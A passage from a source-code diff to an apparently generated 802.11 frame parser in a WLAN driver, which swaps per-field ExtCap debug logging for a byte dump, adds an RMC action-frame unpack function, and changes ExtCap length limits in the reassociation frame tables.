DOT11F_PROBERESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -15729,6 +15436,53 @@ tANI_U32 dot11fUnpackQosMapConfigure(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U3 } /* End dot11fUnpackQosMapConfigure. */ + static const tFFDefn FFS_RMC[] = { + { "Category", offsetof(tDot11fRMC, Category), SigFfCategory , DOT11F_FF_CATEGORY_LEN, }, + { "RMCOUI", offsetof(tDot11fRMC, RMCOUI), SigFfRMCOUI , DOT11F_FF_RMCOUI_LEN, }, + { "MagicCode", offsetof(tDot11fRMC, MagicCode), SigFfMagicCode , DOT11F_FF_MAGICCODE_LEN, }, + { "RMCVersion", offsetof(tDot11fRMC, RMCVersion), SigFfRMCVersion , DOT11F_FF_RMCVERSION_LEN, }, + { "Action", offsetof(tDot11fRMC, Action), SigFfAction , DOT11F_FF_ACTION_LEN, }, + { "RMCDialogToken", offsetof(tDot11fRMC, RMCDialogToken), SigFfRMCDialogToken , DOT11F_FF_RMCDIALOGTOKEN_LEN, }, + { "Ruler", offsetof(tDot11fRMC, Ruler), SigFfRuler , DOT11F_FF_RULER_LEN, }, + { NULL, 0, 0, 0,}, + }; + + static const tIEDefn IES_RMC[] = { + {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; + +tANI_U32 dot11fUnpackRMC(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, tDot11fRMC *pFrm) +{ + tANI_U32 i = 0; + tANI_U32 status = 0; + status = UnpackCore(pCtx, pBuf, nBuf, FFS_RMC, IES_RMC, ( tANI_U8* )pFrm, sizeof(*pFrm)); + + (void)i; +# ifdef DOT11F_DUMP_FRAMES + if (!DOT11F_FAILED(status)) + { + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Unpacked the RMC:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), pBuf, nBuf); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("to:\n")); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Category:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Category.category, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCOUI:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCOUI.oui, 3); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("MagicCode:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->MagicCode.magic, 6); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCVersion:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCVersion.version, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Action:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Action.action, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCDialogToken:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCDialogToken.token, 4); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Ruler:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Ruler.mac, 6); + } +# endif // DOT11F_DUMP_FRAMES + return status; + +} /* End dot11fUnpackRMC. */ + static const tFFDefn FFS_RadioMeasurementReport[] = { { "Category", offsetof(tDot11fRadioMeasurementReport, Category), SigFfCategory , DOT11F_FF_CATEGORY_LEN, }, { "Action", offsetof(tDot11fRadioMeasurementReport, Action), SigFfAction , DOT11F_FF_ACTION_LEN, }, @@ -15946,7 +15700,7 @@ tANI_U32 dot11fUnpackRadioMeasurementRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, {offsetof(tDot11fReAssocRequest, P2PIEOpaque), offsetof(tDot11fIEP2PIEOpaque, present), 0, "P2PIEOpaque" , 0, 8, 255, SigIeP2PIEOpaque, {80, 111, 154, 9, 0}, 4, DOT11F_EID_P2PIEOPAQUE, 0, }, {offsetof(tDot11fReAssocRequest, WFDIEOpaque), offsetof(tDot11fIEWFDIEOpaque, present), 0, "WFDIEOpaque" , 0, 8, 255, SigIeWFDIEOpaque, {80, 111, 154, 10, 0}, 4, DOT11F_EID_WFDIEOPAQUE, 0, }, {offsetof(tDot11fReAssocRequest, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, - {offsetof(tDot11fReAssocRequest, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fReAssocRequest, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fReAssocRequest, OperatingMode), offsetof(tDot11fIEOperatingMode, present), 0, "OperatingMode" , 0, 3, 3, SigIeOperatingMode, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OPERATINGMODE, 0, }, {offsetof(tDot11fReAssocRequest, QosMapSet), offsetof(tDot11fIEQosMapSet, present), 0, "QosMapSet" , 0, 2, 62, SigIeQosMapSet, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSMAPSET, 0, }, {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; @@ -16903,57 +16657,8 @@ tANI_U32 dot11fUnpackReAssocRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -17016,7 +16721,7 @@ tANI_U32 dot11fUnpackReAssocRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 {offsetof(tDot11fReAssocResponse, P2PAssocRes), offsetof(tDot11fIEP2PAssocRes, present), 0, "P2PAssocRes" , 0, 6, 17, SigIeP2PAssocRes, {80, 111, 154, 9, 0}, 4, DOT11F_EID_P2PASSOCRES, 0, }, {offsetof(tDot11fReAssocResponse, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fReAssocResponse, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, - {offsetof(tDot11fReAssocResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fReAssocResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fReAssocResponse, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, {offsetof(tDot11fReAssocResponse, QosMapSet), offsetof(tDot11fIEQosMapSet, present), 0, "QosMapSet" , 0, 2, 62, SigIeQosMapSet, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSMAPSET, 0, }, {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; @@ -18102,57 +17807,8 @@ tANI_U32 dot11fUnpackReAssocResponse(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U3 } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, 